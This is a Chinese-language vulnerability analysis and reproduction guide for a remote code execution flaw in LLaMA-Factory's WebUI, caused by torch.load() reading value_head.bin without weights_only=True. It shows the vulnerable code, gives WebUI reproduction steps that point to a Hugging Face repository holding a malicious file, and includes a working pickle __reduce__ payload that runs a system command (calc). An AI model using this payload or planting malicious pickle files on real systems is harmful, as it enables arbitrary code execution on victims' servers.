漏洞来源

漏洞描述

LLaMA-Factory 是一个用于大型语言模型的调音库。在LLaMA-工厂培训过程中,在LLaMA-Factory版本中发现了一个远程执行漏洞,该漏洞包括0.9.3。此漏洞的发生是因为 `vhead_file` 加载时没有适当的保护措施,使得恶意攻击者只需通过 `WebUI` 接口传递一个恶意的 `Checkpoint 路径参数,即可在主机系统上执行任意恶意代码。"袭击是隐秘的,因为受害者仍然不了解这种剥削行为。根本原因是 `vhead_file` 参数在未使用安全参数 `weights_only=True` 的情况下被加载。0.9.4 版本包含对此问题的修复。

漏洞原理

Llama Factory 的 WebUI 允许用户指定任意 checkpoint 路径,后端在加载该路径下的 value_head.bin 权重文件时,调用了 不带安全防护的 torch.load();而 torch.load() 在 PyTorch < 2.6 版本中默认使用 Python 的 pickle 反序列化机制,会自动执行文件中嵌入的任意 Python 对象代码;攻击者只需诱导用户加载一个包含恶意 __reduce__ payload 的 value_head.bin 文件,即可在服务器上静默执行任意命令。

环境搭建

下载地址:https://github.com/hiyouga/LLaMA-Factory/releases,虽然显示的漏洞利用版本是<=0.9.3,但是其实新版的 0.9.3 中官方已经打了补丁了,而且这个漏洞的利用还需要取决于 torch 版本,在 torch 版本 <2.6 中,默认设置为 weights_only=False ,而 Llama Factory 的 setup.py 只需要 torch>=2.0.0 ,所以其实当 torch>=2.6 版本后就算官方不修也没法复现这个漏洞。

依次执行下面命令搭建环境

git clone --depth 1 https://github.com/hiyouga/LLaMA-Factory.git
cd LLaMA-Factory
conda create -n llama-factory python=3.10//需要 3.10 的 python 版本,这里创建python虚拟环境可以直接用pychram创建
conda activate llama-factory //进入虚拟环境
pip install -e ".[torch,metrics]"

接着就是安装 pytorch 了,执行 nvidia-smi 查看自己的显卡支持的当前CUDA,然后去PyTorch官网上对应下载版本 https://pytorch.org/get-started/locally/

选择对应的版本命令下载依赖(可以向下兼容不能向上)

漏洞分析

漏洞代码在src/llamafactory/webui/runner.py中

if get("top.checkpoint_path"):
            if finetuning_type in PEFT_METHODS:  # list
                args["adapter_name_or_path"] = ",".join(
                    [get_save_dir(model_name, finetuning_type, adapter) for adapter in get("top.checkpoint_path")]
                )
            else:  # str
                args["model_name_or_path"] = get_save_dir(model_name, finetuning_type, get("top.checkpoint_path"))

        # quantization
        if get("top.quantization_bit") != "none":
            args["quantization_bit"] = int(get("top.quantization_bit"))
            args["quantization_method"] = get("top.quantization_method")
            args["double_quantization"] = not is_torch_npu_available()

当用户在 WebUI 界面中填写 “Checkpoint path” 字段(即 top.checkpoint_path)并启动训练时,后端会根据微调类型,将用户输入的路径拼接成 adapter_name_or_path。例如,若用户输入 "malicious_model",系统会构造路径如 ./saves/Qwen2-7B/lora/malicious_model,并将其传入训练流程。

adapter_name_or_path随后将训练过程用于src/llamafactory/model/model_utils/valuehead.py获取相应的value_head.bin来自 Hugging Face 的文件。此文件随后通过torch.load()没有安全参数weights_only=True被设置,从而实现远程代码执行。
代码在 src/llamafactory/model/model_utils/valuehead.py 中

try:
        from safetensors import safe_open

        vhead_file = cached_file(filename=V_HEAD_SAFE_WEIGHTS_NAME, **kwargs)
        with safe_open(vhead_file, framework="pt", device="cpu") as f:
            return {key: f.get_tensor(key) for key in f.keys()}
    except Exception as err:
        err_text = str(err)

    try:
        vhead_file = cached_file(filename=V_HEAD_WEIGHTS_NAME, **kwargs)
        return torch.load(vhead_file, map_location="cpu")
    except Exception as err:
        err_text = str(err)

    logger.info_rank0(f"Provided path ({path_or_repo_id}) does not contain value head weights: {err_text}.")
    logger.info_rank0("Ignore the above message if you are not resuming the training of a value head model.")
    return None

优先尝试使用安全的 safetensors 格式,但一旦缺失 .safetensors 文件,便会回退到调用 torch.load(vhead_file, map_location="cpu") 加载传统的 .bin 文件;而该调用未启用 weights_only=True 参数,在 PyTorch < 2.6 环境下默认使用不安全的 pickle 反序列化机制,导致攻击者只需提供一个精心构造的恶意 value_head.bin 文件(例如通过诱导用户加载其 Hugging Face 模型),即可在服务器上静默执行任意代码,实现远程控制

漏洞复现

通过WebUI界面进行远程攻击

  1. 配置Model name而且Model path没错。使用一个小型模型llamafactory/tiny-random-Llama-3加速模型加载。
  2. 设置Finetuning method到LoRA而且Train Stage到Reward Modeling。该漏洞是在奖励建模培训阶段特别触发的。
  3. 输入恶意的”路径Checkpoint path– 我们使用paulinsider/llamafactory-hack。此仓库(https://huggingface.co/paulinsider/llamafactory-hack/tree/main)包含恶意value_head.bin文件。此文件的功能为创建一个HACKED!文件夹

这里把恶意文件 value_head.bin 改为执行 calc,利用下面代码生成恶意文件然后进行替换

import pickle  
import os  
class evil():  
    def __reduce__(self):  
        return (os.system,("calc",))  
with open("value_head.bin","wb") as f:  
    pickle.dump(evil(),f)

修复

官方补丁:

启用 weights_only=True 参数且升级pytorch版本